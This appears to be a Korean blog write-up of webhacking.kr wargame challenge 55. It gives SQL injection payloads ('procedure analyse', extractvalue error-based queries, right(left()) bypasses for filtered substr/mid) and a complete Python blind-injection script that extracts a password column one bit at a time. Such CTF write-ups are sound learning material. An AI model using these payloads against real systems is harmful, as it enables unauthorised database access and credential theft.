write-up/webhacking.kr

55번

범고래_1 2018. 8. 18. 01:44

2년만에 웹 라업이다.


들어가면 머 대충 이런 페이지가 있다.


힌트란다.

컬럼을 준다. 근데 password 컬럼은 안 준다.


저 점수 링크를 누르면 해당 점수의 사람을 보여준다.

?score=2147483647


그리고 limit으로 조절하면 바로 인젝션이 터진다.


procedure analyse()로 컬럼을 뽑아보았더니 바로 뽑힌다.


?score=-1%20limit 2,1 procedure analyse()




출력도 해주겠다, 그래서 error base로 바로 조지려고 했다.

?score=-1 limit procedure analyse(extractvalue(1,concat(0x3a,version())),1)


머 대충 이런식으로 했는데 version()이 안 뽑힌다.

그래서 version() 대신 (select pAsSw0RdzzzZ) 머 대충 이런식으로 넣었는데, 

select가 필터링 된 듯 하다. no hack이 뜬다....


그래서 블라인드로 한 글자씩 조지기로 한다.

그런데 mid, substr이 필터링 되어있었다.


left, right로 우회하기로 한다.

right(left(pw,n),1) 일케하면 댄다.


아래는 익스다


import requests

session = '08f30132f41f19d527a2aa9b01c95e5f'

headers = {
	'Cookie': 'PHPSESSID='+session
}


s = requests.session()

pw = ''

for n in range(1,21):
	bin = ''
	for x in range(1, 8):
		url = "http://webhacking.kr/challenge/web/web-31/rank.php"
		payload = "?score=-1%20or%20right(left(lpad(bin(ord(right(left(pAsSw0RdzzzZ,"+str(n)+"),1))),7,0),"+str(x)+"),1)"
		r = s.get(url+payload, headers=headers)
		page = r.text
		if '
id : localhost' in page: bin += str(1) else: bin += str(0) pw += chr(int(bin, 2)) print n, pw


'write-up > webhacking.kr' 카테고리의 다른 글

22  (0) 2016.08.23
9번  (0) 2016.07.17
13번  (0) 2016.07.16
webhacking.kr 파일 업로드 문제  (0) 2016.07.16
57번  (0) 2016.04.09